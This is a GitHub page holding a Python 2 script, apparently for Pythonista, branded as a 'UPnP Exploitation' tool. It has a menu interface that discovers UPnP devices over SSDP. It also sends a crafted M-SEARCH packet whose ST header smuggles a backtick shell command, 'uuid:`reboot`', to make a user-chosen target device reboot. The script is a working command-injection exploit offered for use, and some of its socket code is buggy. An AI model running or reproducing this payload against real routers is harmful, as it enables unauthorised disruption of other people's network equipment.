forked from Geonaute/WPA-ro
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathap-ro.py
162 lines (157 loc) · 4.08 KB
/
ap-ro.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import socket, console, time, sys
console.set_color(1,0,0)
print """ _____ _____ _____ _____
| _ | _ |___| __ | |
| | __|___| -| | |
|__|__|__|SavSec|__|__|_____|
UPnP Exploitation"""
console.set_color()
time.sleep(1)
ssdpsrc = { "ip_address" : "239.255.255.250",
"port" : 1900,
"mx" : 10,
"st" : "ssdp:all" }
exptpack1 = """M-SEARCH * HTTP/1.1
HOST: {ip_address}:{port}
MAN: "ssdp:discover"
ST: uuid:`reboot`
MX: 2
""".replace("\n", "\r\n").format(**ssdpsrc) + "\r\n"
ssdpre = """M-SEARCH * HTTP/1.1
HOST: {ip_address}:{port}
MAN: "ssdp:discover"
MX: {mx}
ST: {st}
""".replace("\n", "\r\n").format(**ssdpsrc) + "\r\n"
def discover(match="", timeout=2):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(ssdpre, (ssdpsrc["ip_address"], ssdpsrc["port"]))
s.settimeout(timeout)
responses = []
print ""
try:
while True:
response = s.recv(1000)
if match in response:
print response
responses.append(response)
except:
pass
return responses
def reboot(timeout=2):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(exptpack1, (ssdpsrc["ip_address"], ssdpsrc["port"]))
s.settimeout(timeout)
s.settimeout(timeout)
trg = raw_input("\nTarget: ")
tpg = int(input("Port: "))
for i in range(4):
sys.stdout.write("\rSending Reboot Payload" + "." * i)
time.sleep(0.05)
print ""
s.sendto(exptpack1, (trg, tpg))
try:
s.connect((str(tpg), int(tpg)))
time.sleep(0.1)
s.send(u"`REBOOT`")
s.close()
time.sleep(1)
s.connect((str(tpg), int(tpg)))
except:
print "UPnP Device Rebooted"
s.close()
while 1:
location = "upnp"
act = "\n~/" + str(location) + "$: "
console.set_color(1,1,1)
try:
data = raw_input(act)
except:
pass
console.set_color()
if data == "tool" or data == "tools" or data == "t":
while 1:
location = "tools"
act = "\n~/" + str(location) + "$: "
console.set_color(1,1,1)
try:
data = raw_input(act)
except:
sys.exit()
console.set_color()
if data == "discover" or data == "find":
discover()
if data == "quit" or data == "q" or data == "exit":
sys.exit()
if data == "clear" or data == "cls" or data == "clr":
console.clear()
if data == "back" or data == "cd":
break
if data == "?" or data == "help":
print ""
console.set_font("Arial-BoldMT",16)
print "Tool Commands: "
console.set_font()
time.sleep(0.3)
print "Discover - find: discover"
time.sleep(0.3)
print "Exit - q : exit"
time.sleep(0.3)
print "Back - cd : back"
time.sleep(0.3)
print "Clear - cls : clear"
time.sleep(0.3)
if data == "exploit" or data == "exploits" or data == "e":
while 1:
location = "exploits"
act = "\n~/" + str(location) + "$: "
console.set_color(1,1,1)
try:
data = raw_input(act)
except:
sys.exit()
console.set_color()
if data == "reboot" or data == "boot":
reboot()
if data == "quit" or data == "q" or data == "exit":
sys.exit()
if data == "clear" or data == "cls" or data == "clr":
console.clear()
if data == "?" or data == "help":
print ""
console.set_font("Arial-BoldMT",16)
print "Exploit Commands: "
console.set_font()
time.sleep(0.3)
print "Reboot - boot : reboot"
time.sleep(0.3)
print "Exit - q : exit"
time.sleep(0.3)
print "Back - cd : back"
time.sleep(0.3)
print "Clear - cls : clear"
time.sleep(0.3)
if data == "back" or data == "cd":
break
if data == "exit" or data == "quit" or data == "q":
sys.exit()
if data == "clear" or data == "cls" or data == "clr":
console.clear()
if data == "help" or data == "?":
print ""
console.set_font("Arial-BoldMT",16)
print "Menu Commands: "
console.set_font()
time.sleep(0.3)
print "Tools - t : tools"
time.sleep(0.3)
print "Exploits - e : exploits"
time.sleep(0.3)
print "Exit - q : exit"
time.sleep(0.3)
print "Back - cd : back"
time.sleep(0.3)
print "Clear - cls : clear"
time.sleep(0.3)